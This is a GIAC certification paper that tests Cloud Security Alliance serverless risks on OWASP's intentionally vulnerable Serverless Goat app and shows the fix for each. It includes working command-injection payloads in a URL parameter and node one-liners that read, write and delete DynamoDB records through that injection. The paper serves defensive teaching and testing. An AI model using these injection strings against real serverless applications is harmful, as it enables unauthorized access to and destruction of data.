# Global Information Assurance Certification Paper

# Mitigating Risk with the CSA 12 Critical Risks for Serverless Applications

GIAC (GCED) Gold Certification

Author: Mishka McCowan, mmcocwan@eagna.net

Advisor: Jonathan Risto

Accepted: Ausgust 22, 2020

Abstract

Since its introduction in 2014, serverless technology has seen significant adoption in businesses of all sizes. This paper will examine a subset of the 12 Most Critical Risks for Serverless Applications from the Cloud Security Alliance and the efficacy of their recommendations in stopping attacks. It will demonstrate practical attacks, measure the effectiveness of the Cloud Security Alliance recommendations in preventing them, and discuss how the recommendations can be applied more broadly.

# 1. Introduction

Since their introduction in 2014 (Amazon Web Services, n.d.), the use of Lambdas, the AWS serverless technology, has become incredibly widespread. In 2018, Gartner predicted that more than 20 percent of global enterprises would deploy serverless technologies by the end of the decade (Gartner, 2018). The monitoring and analytics company Datadog reported in early 2020 that half of their AWS customers had adopted Lamba (Datadog, 2020). They concluded that "serverless functions are now in widespread use across a variety of companies with an infrastructure footprint in AWS." ((Datadog, 2020)

The security community's efforts to create best practices for securing serverless technologies has trailed the explosive growth in its adoption. In the latter part of 2018, OWASP released a serverless interpretation of their OWASP Top Ten (Open Web Application Security Project, 2018). A list of the top 12 security risks for serverless created by the Cloud Security Alliance (Cloud Security Alliance, 2019) was released shortly after that. The security portion of the Lambda documentation on the AWS site references neither document (Amazon Web Services, n.d.).

Even as the security community struggles to define how to best secure serverless, we are using them for security automation. According to the 2019 Cloud Security Survey from SANS, 46.4% of respondents used serverless for automation and orchestration (Shackleford, 2019). This begs the question as to how well the security is securing its own infrastructure.

This paper will examine the CSA Top 12 Critical Risks for Serverless Applications as a viable framework for securing serverless applications. A sample of the risks will be tested using practical attacks against a vulnerable application in the AWS cloud. After remediating the vulnerabilities, the application will be retested to measure the efficacy of the CSA recommendations.

Mishka McCowan, mmccowan@eagna.net

## 2. CSA Top 12 Critical Risks for Serverless Applications

A serverless architecture is a model for organizations to run applications without having to manage the underlying infrastructure. In this model, the cloud provider is responsible for dynamically allocating computing resources for code when it executes. Typically, the code takes the form of a function and is running inside stateless containers. Hence, this model is also referred to as Function-as-a-Service or FaaS.

The serverless model is attractive to both developers and enterprises. It allows developers to focus on building and maintaining their applications without having to worry about managing the infrastructure because that is the responsibility of the cloud provider. Enterprises are attracted to the serverless model because of the potential for cost savings. Instead of paying an hourly fee for each server supporting the application, serverless functions typically incur a cost when they execute. This eliminates the need to pay for idle servers. However, this model is not without its drawbacks. For example, an attacker may invoke a serverless application many times over a long period with the intent of inflating the target organization's monthly bill and inflicting financial loss.

The Top 12 Critical Risks for Serverless Applications is an effort to define security best practices for serverless applications. Developed by the Cloud Security Alliance (CSA), the Critical Risks came out of a recognition that this new paradigm introduces a different set of security issues. The size and complexity of the attack surface for these types of applications are more extensive than they are for "traditional" applications. At the same time, the current crop of automated scanning tools has not adapted to examining serverless applications (Cloud Security Alliance, 2019).

The CSA Critical Risks were released in 2019 to aid and educate "organizations seeking to adopt the serverless architecture model" (Cloud Security Alliance, 2019). They are patterned after work done by the Open Web Application Security Project (OWASP) with their Top Ten Web Application Security Risks. In 2017, OWASP released an "Interpretation for Serverless" of their Top Ten to serve as a "first glance to the serverless security world and will serve as a baseline to the official OWASP Top 10 in Serverless project" (OWASP, 2018). The CSA Critical Risks references the OWASP Top Ten and has a mapping to it.

Mishka McCowan, mmccowan@eagna.net

The CSA Critical Risks was chosen as the reference for this paper over the OWASP interpretation for two reasons. First, it is more recent. The serverless world is evolving quickly, so the CSA Critical Risks represent the most current thinking by the security community. Second, the language used to convey the risks is very specific to serverless. This specificity is useful in illustrating both the vulnerabilities and the associated remediation.

There are many cloud providers with serverless or Function-as-a-Service offerings. Amazon, Microsoft, Google, IBM, Oracle, and others include serverless as part of their portfolio. This paper will focus on the serverless offering from Amazon Web Services (AWS) because they are a market leader and a pioneer of serverless with their release of Lambda functions in 2014. While the examples will be specific to AWS, the concepts are applicable, regardless of vendor.

To examine the efficacy of the Critical Risks in stopping attacks, this paper will demonstrate practical attacks, measure the effectiveness of the CSA recommendations in preventing them, and discuss how they can be applied more broadly. The demonstrations will use a tool called Serverless Goat, a serverless application maintained by OWASP for demonstrating common serverless security flaws (Open Web Application Security Project 2019). After each demonstration, a technique will be put in place to address the flaw. Rerunning the attack will gauge the effectiveness of the mitigation. There will then be a discussion of other types of mitigations for each class of vulnerability. Three of the Critical Risks will be tested as a representative sample of the entire list.

# 3. Mitigating the Risks

The CSA has marked each of the Critical Risks with a unique identifier in the form of SAS-[NUMBER]. For ease of reference, the number will be used for each of the risks in this section.

## 3.1 SAS-1: Function Event-Data Injection

Injection attacks are a staple of application security. OWASP has highlighted this type of attack as one of its top 10 application security risks since its initial release in 2003

(Heinrich, n.d.). It appears on the Top 10 Secure Coding Practices from Carnegie Mellon University's Software Engineering Institute's CERT Division (Carnegie Mellon University Software Engineering Institute). The CWE Top 25 Most Dangerous Software Errors published by MITRE lists three different variants (MITRE, 2019). However, despite all of this, injection errors still make up 6% of the public vulnerabilities published on MITRE's Common Vulnerabilities and Exposures list (MITRE, n.d.).

Like web applications, serverless applications are vulnerable to injection attacks. Unlike web applications, the surface area for attacks against serverless applications is much larger. They can be triggered by events from user input, message queues, cloud storage, databases, and other serverless functions. Defenders must consider not only direct attacks, but also more complicated ones in which data placed into a queue or data store may contain a malicious payload to be consumed by the serverless application. To add to the degree of difficulty, the input provided by these events can be provided in different formats, depending on their source.

### 3.1.1 Example: Command Injection

The Serverless Goat is a simple application that takes a Microsoft Word document as an input, parses it, and displays the text of the document for the user. There is a default value for a Word document hosted by one of the project supporters that can be used for testing. Pressing the "Submit" button with the default value will return the text of a William Blake poem.

The first step for any attacker is to start probing for vulnerabilities. In the case of the Serverless Goat, testing for injection vulnerabilities begins by adding different special characters to the end of the url for the Word document. When a semi-colon is added, the following error message is displayed:

```
Error: Command failed: ./bin/curl --silent -L
https://www.puresec.io/hubfs/document.doc;  | /lib64/ld-linux-x86-
64.so.2 ./bin/catdoc -
/bin/sh: -c: line 0: syntax error near unexpected token `|'
/bin/sh: -c: line 0: `./bin/curl --silent -L
https://www.puresec.io/hubfs/document.doc;  | /lib64/ld-linux-x86-
64.so.2 ./bin/catdoc -'

    at checkExecSyncError (child_process.js:630:11)
    at Object.execSync (child_process.js:666:15)
```

```
at Runtime.exports.handler (/var/task/index.js:29:29)
at processTicksAndRejections (internal/process/task_queues.js:97:5)
```

The bolded portion of the error message reveals two critical pieces of information. First, the application uses curl to download the Word document. Second, the error message "syntax error near unexpected token `|" indicates that the output is piped from the curl utility into something else. These two things indicate that the application is passing commands to the operating system for execution. The next step is to try to exploit the possible command injection vulnerability by changing parameters in the URL.

A simple test is to add an operating system command to the end of the URL. Updating the URL to "`https://www.puresec.io/hubfs/document.doc; ls;#`" results in random characters surrounding the text of the poem. At the very bottom of the output is a list of files. Changing the URL to refer to a non-existent document will ensure that the listing is not part of the document's metadata: "`http://not-a-domain/bad.doc; ls;#`".

The new URL returned the same list of files (line breaks added for clarity), as follows:

```
bin
index.js
lib
node_modules
package.json
package-lock.json
```

The listing shows directories and files on the filesystem for the application's deployment directory. Another change to the URL displays the source code for the Lambda function that is processing the files: "`http://not-a-domain/bad.doc; cat index.js;#`". For the full text of the Lambda, please refer to Appendix A.

The source code reveals how the application is constructed. It is written in NodeJS, stores the URL in a DynamoDB table each time it is called, and an S3 bucket with public-read permissions stores the results. The source code also reveals the root cause for the vulnerability: untrusted user input. The URL is used without sanitizing it first.

### 3.1.2 Remediation: Command Injection

There are multiple methods for correcting command injection vulnerabilities, including input validation, whitelisting, escaping OS commands, parameterization, and removing direct calls to OS commands. The OWASP Command Injection Defense Cheat Sheet recommends using multiple methods to provide for a layered defense (Open Web Application Security Project, n.d.). For this demonstration, whitelisting will be used as a simple method to address this vulnerability.

The whitelist will consist of the letters A through Z, numbers, and the special characters required to make a valid URL – the colon, period, and forward slash. Removing the ability to use special characters such as a semi-colon or pound sign severely restricts how a would-be attacker can manipulate the OS command to fetch the document. The first line below is the original assignment of the URL entered by the end-user to a variable for processing. The second line uses the replace function to restrict the characters in the URL to the list described above. Any other characters are removed.

```
let documentUrl = event.queryStringParameters.document_url;
let documentUrl = (event.queryStringParameters.document_url)
.replace(/[^0-9a-zA-Z.:/]/g,"");
```

Once the change has been made, and the code is deployed, the original commands were rerun. The section below shows each command, the original result, and the result after inserting the whitelisting.

- `https://www.puresec.io/hubfs/document.doc"`
    - Original Result – The William Blake poem is displayed
    - Whitelisted Result – The William Blake poem is displayed
    - Notes – A valid request continues to return the parsed text
- `https://www.puresec.io/hubfs/document.doc;"`
    - Original Result – An error message from the operating system
    - Whitelisted Result – The William Blake poem is displayed
    - Notes – The semi-colon is removed because the character is not in the whitelist. The result is that the URL for the document is valid and is processed without error

- `https://www.puresec.io/hubfs/document.doc; ls;#`
    - Original Result – The William Black poem is display surrounded by random characters and a file system listing
    - Whitelisted Result – A 404 error
    - Notes – The semi-colon, pound sign, and spaces are removed, resulting in an invalid URL, https://www.puresec.io/hubfs/document.docls. When called, this URL will return the 404 message provided the server
- `http://not-a-domain/bad.doc; ls;#`
    - Original Result – A file system listing
    - Whitelisted Result – A zero (0) is displayed
    - Notes – There was no server to return a 404 error. The –silent parameter in the curl statement suppresses curl's return code, so no information is passed to into catdoc. The zero is the return code from catdoc, indicating the operation completed.

The results show that whitelisting was effective in stopping the command injection. The attempts were either ignored by the system or returned a 404 Page Not Found error. The junk characters in the last test case are the result of curl's inability to resolve the domain with the –silent parameter, so it can be considered an implicit 404 error. Note that the code changes, while effective for this demonstration, are not production-ready. It blocks characters that could legitimately be a part of a URL such as question marks and ampersands. It also does not take into account character encodings such as Unicode or HTML encodings, both of which could potentially circumvent the whitelist's protection.

To address this issue, OWASP has a repository of regular expressions for validation on their site at https://owasp.org/www-community/OWASP_Validation_Regex_Repository. The repository includes a regular expression for URL validation. Organizations can use this regular expression as a starting point for creating a validation that meets their requirements. The OWASP regular expression will require customization because it is written to accept URLs for a variety of

protocols such as gopher, telnet, and nntp. Good security practice dictates removing any unnecessary protocols.

This demonstration highlights a common misconception with serverless, which is that the cloud provider manages the underlying infrastructure and operating system, so attacks against them are the cloud provider's responsibility. Conversely, the customer must harden both the application and the infrastructure configuration.

The other danger shown in this demonstration is how untrusted input can come to reside on the trusted network. The Serverless Goat application parses the text of a Word document and saves it into an S3 bucket. It also stores the URL submitted by the user into a DynamoDB table. Neither piece of data was subject to any security checks. While the current incarnation of the application makes use of this data, nothing is preventing a future version from adding additional lambdas that do. Those lambdas need to check and sanitize the input even though it is not directly from the user, but from another source within the application.

## 3.2 SAS-3: Insecure Serverless Deployment Configuration

Cloud services offer a plethora of configuration settings that allow their customers to tailor their environments to their specific needs. Some of those settings have profound security implications for applications deployed in those environments. In the 2020 Verizon Data Breach Report, misconfiguration was cited as the fourth most common error leading to breaches, up four spots from 2015 (Verizon, 2020). According to the report, errors such as misconfigurations "are now equally as common as Social breaches and more common than Malware, and are truly ubiquitous across all industries (Verizon, 2020)"

### 3.2.1 Example: Insecure Configuration

One of the most common areas for misconfiguration errors is cloud storage. One high profile example was the 2019 Capital One data breach that compromised the personal data of 100 million credit card customers and applicants (SC Media, 2019). In that case, the root cause was a misconfigured Web Application Firewall, manipulated into giving access to information stored in S3 buckets stored within Capital One's AWS

infrastructure. The Serverless Goat also has flaws that allow access to information stored in an S3 bucket.

When the Serverless Goat finishes extracting the text from a Word document, it stores the result in an S3 bucket. That bucket is configured to host web content, and the objects it contains have been given read permissions for all users. As a result, the contents of any of the files are available to anyone with the URL. At first glance, accessing the URL for each file would seem to be a tall order. An attacker would need to know both the bucket name and the name of the file. While the bucket name would be simple to discover, the files' names are random UUIDs generated by the application. They are not predictable and would take a considerable amount of time to brute force. A list of all of the files in the bucket would be required for the attack to be practical.

The Serverless Goat's configuration allows even a minimally-skilled attacker to generate a list of files for the bucket. The Access Control List for the bucket grants the List Objects permission to the Everyone group, allowing anyone to list the bucket's contents. The steps for doing so require no skills beyond being able to copy and paste the text. It takes just three steps for an attacker to view the bucket's contents.

1. Log any the AWS Console. It does not matter what account is used so long as the user is authenticated.
2. Append the bucket name to the end of the following URL: https://s3.console.aws.amazon.com/s3/buckets/
3. Paste the new URL into a different tab in the same browser. A list of the files will be displayed.

The attacker could then view the contents of individual files or download them in bulk. Logging is disabled on that bucket, so there would be no evidence of data being viewed or exfiltrated.

### 3.2.2 Remediation: Insecure Configuration

Two simple changes can be made to the application to secure the S3 bucket used to store the extracted text. The first is by far the simplest – remove the List Objects permission from the Everyone group in the Permission section. Once that permission has

been removed, viewing the bucket from another account results in an Access Denied error. However, viewing the contents of an individual file is still possible. Appending a forward slash and a file name to the end of the URL will display the file. Removing the List permission only stops others from listing the contents of the bucket. It does not block access to viewing or downloading them if the names of the bucket and file are known.

The next step is to disable public access to the bucket by disabling web hosting. On the bucket properties page, click on the "Static website hosting" setting, click the "Disable website hosting" option, and click Save. Additionally, the AWS "Block public access" setting should also be enabled to help ensure that public access is not enabled accidentally through a bucket policy or ACL. The setting is on the permissions page. Click the Edit button, put a check next to "Block all public access," and click the Save button. A prompt appears to confirm this choice. Once completed, public access will be disabled.

The application, however, will be broken after blocking public access. Attempting to submit a file for processing will result in an Access Denied error. The Lambda function explicitly sets the permissions on the file to public, read-only access. To set the correct permission, change line 41 from "ACL: 'public-read'" to "ACL: 'private'." After updating the Lambda and submitting a file for processing, a new error is displayed. The existing code relies on the bucket to host the content as a web server. When it tries to redirect the user to the bucket, it fails because web hosting has been disabled.

To share content securely from an S3 bucket, AWS has a feature called a pre-signed URL that will grant time-limited permission to download an object. The bucket does not have to be public, nor does it have to be configured to serve static web content. Instead, the URL is signed using the credentials the Lambda function uses to access the S3 bucket. During the creation process, the length of time for which the URL is valid is specified. Anyone who receives the pre-signed URL can then access the object. When the URL expires, it will no longer retrieve the content, and a new one must be generated to reaccess the object.

Modifying the Lambda function to create a pre-signed URL requires three changes to the code – adding a module, a block of code to generate the URL, and

modifying the return statement to redirect the user to the pre-signed URL. Adding the module requires a single line of code.

```
const s3 = new AWS.S3({signatureVersion: 'v4'});
```

The following code is added after the s3.putObject block in the exports.handler method. In this example, the expiration for the URL has been set to 30 seconds to facilitate testing. In a real application, the timeout would be a value that strikes a balance between security and business needs.

```
const url = s3.getSignedUrl('getObject', {
      Bucket: process.env.BUCKET_NAME,
      Key: key,
      Expires: 30
    });
```

The final change is to update the existing redirect to use the variable that holds the pre-signed URL.

```
"Location": `${url}`
```

Once these changes are made to the Lambda, the application functions normally again. Submitting the test Word document returns the poem. While anyone with the URL can still access the file, its lifetime is limited to a short window of time.

### 3.2.3 Final Thoughts: Insecure Configuration

Insecure configurations for data stores is a severe and widespread security problem. Cloud infrastructure providers such as AWS provide many tools for addressing these issues. Additional steps could also be taken to secure the data in the S3 bucket. For instance, adding authentication using Cognito would ensure that the intended recipient could only use the URL. Other examples of additional security controls include configuring the S3 data lifecycle to enforce data retention policies and moving the data to DynamoDB, where it could be encrypted.

Insecure configuration vulnerabilities are not restricted to data stores. It encompasses any of the infrastructure used by the application. For instance, the network is another area where misconfigurations are common. Overly permissive security groups, public IP addresses assigned to resources that should be private, and a lack of network segregation are common mistakes.

### 3.3 SAS-4: Over-Privileged Function Permissions and Roles

The description of this vulnerability in the official CSA documentation is a single sentence: "A serverless function should have only the privileges essential to performing its intended logic - a principle known as 'least privilege'" (Cloud Security Alliance, 2019). This vulnerability exists because, in the infrastructure-as-code world, permissions are simple for developers to assign but can be difficult to monitor at scale.

#### 3.3.1 Example: Over-Privileged Function Permissions and Roles

Once again, the Serverless Goat will be used to demonstrate the vulnerability and its remediation. The source code for the processing Lambda retrieved via command injection in Section 3.1.1 showed the request's information is logged to a DynamoDB table. The name of that table is not hard-coded into the source code. Command injection can be used to retrieve the table name using the env command.

```
http://not-a-domain/bad.doc; env|grep TABLE_NAME;#

TABLE_NAME=serverlessrepo-serverless-goat-Table-Q21W29UK6B7N
```

With the table name revealed, the application can be probed with different commands to see what permissions it has with the database. NodeJS code will be appended to the document request. The first command will try to read data from the table and display it as part of the results.

```
https://; node -e 'const AWS = require("aws-sdk"); (async () =>
{console.log(await new AWS.DynamoDB.DocumentClient().scan({TableName:
"serverlessrepo-serverless-goat-Table-Q21W29UK6B7N"}).promise());})();'
```

The above command uses the `node` command to execute the NodeJS code. The code creates a DocumentDB client and tries to read the data in the serverlessrepo-serverless-goat-Table-Q21W29UK6B7N table. If successful, the data will be outputted to the console and displayed on the web page. Here is an excerpt of what is returned:

```
{ document_url: 'https://www.puresec.io/hubfs/document.doc', id:
'2b41b5a0-654c-49fd-a88c-c298d017568e', ip: '108.18.232.37' },
{ document_url: 'https://; env | grep table;', id: '2445c30c-8f78-46a4-
8a14-03c0c499c47d', ip: '108.18.232.37' }
```

The command was successful. All of the records in the DynamoDB table were displayed on-screen. The application has permissions to read as well as write to DynamoDB. The next command will test if arbitrary data can be written to the table.

```
https://; node -e 'const AWS = require("aws-sdk"); (async () =>
{console.log(await new AWS.DynamoDB.DocumentClient().put({TableName:
"serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N",Item:{"id":"this","document_url":"is","ip":"bad"}}).promi
se());})();'
```

When the string above is entered into the Serverless Goat, only two brackets are returned: { }. To see if the insert was successful, the command from the previous example must be rerun. The following now appears in the output:

```
{ id: 'this', document_url: 'is', ip: 'bad' }
```

The record was successfully inserted into the DynamoDB table. It is expected that the application has permission to write to the database because it is part of the design. The vulnerability is that users are able to add separate records containing arbitrary values.

The final step is to see if data can be deleted from the table as well. This example will delete the record created in the previous example. The command is as follows:

```
https://; node -e 'const AWS = require("aws-sdk"); (async () =>
{console.log(await new AWS.DynamoDB.DocumentClient().delete({TableName:
"serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N",Key:{"id":"this"}}).promise());})();'
```

This command also returns two empty brackets. The success of this command can be verified by running the code from the first example in this section.

```
https://; node -e 'const AWS = require("aws-sdk"); (async () =>
{console.log(await new AWS.DynamoDB.DocumentClient().scan({TableName:
"serverlessrepo-serverless-goat-Table-Q21W29UK6B7N"}).promise());})();'
```

No records are returned. The delete command was successful. The application is vulnerable to unauthorized reads, writes, and deletes. There may be additional vulnerabilities, but this list is sufficient to demonstrate how it works.

### 3.3.2 Remediation: Over-Privileged Function Permissions and Roles

The root cause of this vulnerability is the permissions assigned to the role used by the Lambda function. If the developer granted the permissions according to the concept of least privilege, only the dynamodb:PutItem permission would be assigned. However,

the Serverless Goat developers chose to grant the following, more expansive set of permissions.

```
{
    "Statement": [
        {
            "Action": [
                "dynamodb:GetItem",
                "dynamodb:DeleteItem",
                "dynamodb:PutItem",
                "dynamodb:Scan",
                "dynamodb:Query",
                "dynamodb:UpdateItem",
                "dynamodb:BatchWriteItem",
                "dynamodb:BatchGetItem",
                "dynamodb:DescribeTable",
                "dynamodb:ConditionCheckItem"
            ],
            "Resource": [
                "arn:aws:dynamodb:us-west-
2:112033489311:table/serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N",
                "arn:aws:dynamodb:us-west-
2:112033489311:table/serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N/index/*"
            ],
            "Effect": "Allow"
        }
    ]
}
```

These permissions allow the role to create, update, delete, and query information in the table. The least privileged version of this policy that still allows the application to function as designed would contain only the PutItem permission.

```
{
    "Statement": [
        {
            "Action": [
                "dynamodb:PutItem"
            ],
            "Resource": [
                "arn:aws:dynamodb:us-west-
2:112033489311:table/serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N",
                "arn:aws:dynamodb:us-west-
2:112033489311:table/serverlessrepo-serverless-goat-Table-
Q21W29UK6B7N/index/*"
            ],
            "Effect": "Allow"
        }
    ]
}
```

Updating the policy and running the tests from the previous section yielded the following results:

| Test | Result | Notes |
|---|---|---|
| Default Word document. | Succeded | The poem was displayed. Application functions normally |
| Display records | Failed | No information returned. CloudWatch logs show access was denied. |
| Create record | Succeded | User can still create records with arbitrary values |
| Delete record | Failed | The record was not deleted. CloudWatch logs show access was denied. |

After the update, the application continued to function normally. Attempts to gain unauthorized read access and delete access both failed. However, the unauthorized creation of a new record succeeded. The fault lies not with the assigned permissions, but with other vulnerabilities in the application. When the OS command injection remediation from Section 3.1.2 is applied, attempts to create unauthorized records fail as well.

# 4. Testing Summary

The results from the tests can be summarized as follows:

1. **Injection Flaws** – Implementing a whitelist cut stopped command injection attempts. The change will affect users whose documents have forbidden characters in their names. The change also made exploiting the insecure configuration and over-privileged function flaws significantly more difficult.
2. **Insecure Configuration** – Eliminating public access to the S3 bucket and implementing signed URLs restricts access to the data. Minor code changes were required. The expiring URLs would impact end-users who seek to bookmark the data to view it later.
3. **Over-Privileged Functions** – Removing unneeded permissions prevents attackers from exfiltrating or manipulating data stored in DynamoDB. No

coding changes were required, and the application continued to function as designed.

## 5. Remaining Risks

This paper addressed only a quarter of the twelve vulnerabilities on the CSA list. Based on the results of the three vulnerabilities tested in this paper, it is possible to make conclusions about the rest of the list. The first conclusion is that the existing best practices also apply to serverless architectures. The three vulnerabilities examined here map directly to three entries on the OWASP Top Ten list – Injection, Broken Access Control, and Security Misconfiguration. Most of the remaining nine vulnerabilities also map to the OWASP Top Ten list. The two that do not have a direct OWASP analog are SAS-11: Obsolete Functions, Cloud Resources, and Event Triggers, and SAS-12: Cross-Execution Data Persistency.

Addressing OWASP Top Ten vulnerabilities has been shown to be an effective method of reducing security risk in a web application. Organizations and individuals with expertise in addressing the OWASP vulnerabilities can apply that knowledge to serverless architectures. It would make an excellent starting point while ramping up on vulnerabilities that are specific to serverless.

The second conclusion is that a foundational element of serverless security is a detailed understanding of the vendor's services and tools. In two of the three vulnerabilities examined in this paper, knowledge of the AWS IAM roles and permissions was pivotal in remediating them. The same is true for the remaining nine. For example, SAS-7: Insecure Application Secrets Storage relies on the proper configuration of AWS Key Management Service, Secrets Manager, or other similar services for managing secrets within the infrastructure. An understanding of the lifecycle of cloud resources is key to addressing SAS-11: Obsolete Functions, Cloud Resources, and Event Triggers.

The last conclusion is that the learning curve for serverless security will vary depending on an organization's experience with the other types of architectures. For instance, an organization moving from a monolithic architecture will likely face more of

a learning curve than one using microservices. Microservices have a great deal in common with serverless architectures, so the security problem space is similar. Monolithic applications require a much higher learning curve because they are so dissimilar to serverless and microservices.

## 6. Conclusion

The CSA recommendations for remediating the Top 12 critical vulnerabilities proved effective in testing. In all three test cases, the vulnerability was either eliminated or significantly reduced. This demonstrated that the CSA recommendations are a practical framework for locating and remediating common vulnerabilities in serverless architectures. The fully remediated Lambda function can be found in Appendix B.

The CSA recommendations have their roots in the OWASP Top Ten vulnerabilities. Organizations can leverage their familiarity with the OWASP material to flatten the learning curve for using the CSA recommendations. Security professionals should become familiar with the services offered by the cloud vendor, as well as the CSA vulnerabilities that are specific to the cloud.

Organizations that are embracing serverless architectures should embrace the CSA Top 12 Critical Vulnerabilities in the same way they embraced the OWASP Top Ten.

References

Amazon Web Services (n.d.). AWS Lambda Releases. Retrieved from https://docs.aws.amazon.com/Lambda/latest/dg/Lambda-releases.html

Amazon Web Services (n.d.). Security in AWS Lambda. Retrieved from https://docs.aws.amazon.com/Lambda/latest/dg/Lambda-security.html

Amazon Web Services (2019, March). Security Overview of AWS Lambda. Retrieved from https://pages.awscloud.com/rs/112-TZM-766/images/Overview-AWS-Lambda-Security.pdf

Carnegie Mellon University Software Engineering Institute (2018, May 2). Top 10 Secure Coding Practices. Retrieved from https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices.

Cloud Security Alliance (2019, April 11). The 12 Most Critical Risks for Serverless Applications. Retrieved from https://cloudsecurityalliance.org/artifacts/the-12-most-critical-risks-for-serverless-applications.

Datadog (2020, February). The State of Serverless. Retrieved from https://www.datadoghq.com/state-of-serverless/.

Gartner (2018, December 4). Gartner Identifies the Top 10 Trends Impacting Infrastructure and Operations for 2019. Retrieved from https://www.gartner.com/en/newsroom/press-releases/2018-12-04-gartner-identifies-the-top-10-trends-impacting-infras.

Heinrich, Christian (n.d.). Comparison of 2003, 2004, 2007, 2010, and 2013 Releases. Retrieved from https://raw.githubusercontent.com/cmlh/OWASP-Top-Ten-2010/Release_Candidate/OWASP_Top_Ten_-_Comparison_of_2003,_2004,_2007,_2010_and_2013_Releases-RC1.pdf.

McCowan, Mishka. (2019, July 2). Building Cloud-Based Automated Response Systems. Retrieved from https://www.sans.org/reading-room/whitepapers/cloud/building-cloud-based-automated-response-systems-39050.

Mishka McCowan, mmccowan@eagna.net

MITRE (n.d.). Vulnerability distribution by CVE security vulnerabilities by type. Retrieved from https://www.cvedetails.com/vulnerabilities-by-types.php.

MITRE (2019, September 18). 2019 CWE Top 25 Most Dangerous Software Errors. Retrieved from http://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html.

Open Web Application Security Project (n.d.). OWASP OS Command Injection Defense Cheat Sheet. Retrieved from https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

Open Web Application Security Project (2019, January 15). OWASP Serverless Goat. Retrieved from https://owasp.org/www-project-serverless-goat/migrated_content.

Open Web Application Security Project (2018, October 25). OWASP Top Ten: Serverless Interpretation. Retrieved from https://owasp.org/www-project-serverless-top-10/.

Open Web Application Security Project (2018, October 22). OWASP Serverless-Top-10-Project. Retrieved from https://github.com/OWASP/Serverless-Top-10-Project.

SC Media (2019, July 30). Capital One Breach exposes not just data, but dangers of cloud misconfigurations. Retrieved from https://www.scmagazine.com/home/security-news/capital-one-breach-exposes-not-just-data-but-dangers-of-cloud-misconfigurations/.

Shackleford, Dave. (2019, April 30). SANS, 2019 Cloud Security Survey. Retrieved from https://www.sans.org/reading-room/whitepapers/incident/balancing-security-innovation-event-driven-automation-36837

Verizon (2020). 2020 Data Breach Investigations Report. Retrieved from https://enterprise.verizon.com/resources/reports/2020-data-breach-investigations-report.pdf

## Appendix A: Serverless Goat Lambda Source Code

```
const child_process = require('child_process');
const AWS = require('aws-sdk');
const uuid = require('node-uuid');

async function log(event) {
      const docClient = new AWS.DynamoDB.DocumentClient();
      let requestid = event.requestContext.requestId;
      let ip = event.requestContext.identity.sourceIp;
      let documentUrl = event.queryStringParameters.document_url;

      await docClient.put({
            TableName: process.env.TABLE_NAME,
            Item: {
                  'id': requestid,
                  'ip': ip,
                  'document_url': documentUrl
            }
      } ).promise();

}

exports.handler = async (event) => {
      try {
            await log(event);

            let documentUrl = event.queryStringParameters.document_url;
            let txt = child_process.execSync(`./bin/curl --silent -L
${documentUrl} | /lib64/ld-linux-x86-64.so.2 ./bin/catdoc -`).toString();

            // Lambda response max size is 6MB. The workaround is to upload
result to S3 and redirect user to the file. let key = uuid.v4();
            let s3 = new AWS.S3();
            await s3.putObject({
                  Bucket: process.env.BUCKET_NAME,
                        Key: key,
                        Body: txt,
                        ContentType: 'text/html',
                        ACL: 'public-read'
                  }).promise();

            return {
                  statusCode: 302,
                  headers: {
                        "Location": `${process.env.BUCKET_URL}/${key}`
                  }
            };

            catch (err) {
                  return {
                        statusCode: 500,
                        body: err.stack
                  };
            }
      };
```

Mishka McCowan, mmccowan@eagna.net

```
}
```

## Appendix B: Updated Serverless Goat Lambda Source Code

```
const child_process = require('child_process');
const AWS = require('aws-sdk');
const uuid = require('node-uuid');
const s3 = new AWS.S3({signatureVersion: 'v4'});

async function log(event) {
  const docClient = new AWS.DynamoDB.DocumentClient();
  let requestid = event.requestContext.requestId;
  let ip = event.requestContext.identity.sourceIp;
  let documentUrl = (event.queryStringParameters.document_url).replace(/[^0-
9a-zA-Z.:/]/g,"");
  await docClient.put({
      TableName: process.env.TABLE_NAME,
      Item: {
        'id': requestid,
        'ip': ip,
        'document_url': documentUrl
      }
    }
  ).promise();

}

exports.handler = async (event) => {
  try {
    await log(event);

    let documentUrl =
(event.queryStringParameters.document_url).replace(/[^0-9a-zA-Z.:/]/g,"");

    let txt = child_process.execSync(`./bin/curl --silent -L ${documentUrl}
| /lib64/ld-linux-x86-64.so.2 ./bin/catdoc -`).toString();

    // Lambda response max size is 6MB. The workaround is to upload result
to S3 and redirect user to the file.
    let key = uuid.v4();
    let s3 = new AWS.S3();

    await s3.putObject({
      Bucket: process.env.BUCKET_NAME,
      Key: key,
      Body: txt,
      ContentType: 'text/html',
      ACL: 'private'
    }).promise();

    //creates signed url that is returned to client side
    const url = s3.getSignedUrl('getObject', {
      Bucket: process.env.BUCKET_NAME,
```

```
      Key: key,
      Expires: 30
    });

    return {
      statusCode: 302,
      headers: {
        "Location": `${url}`
      }
    };
  }
  catch (err) {
    return {
      statusCode: 500,
      body: err.stack
    };
  }
};
```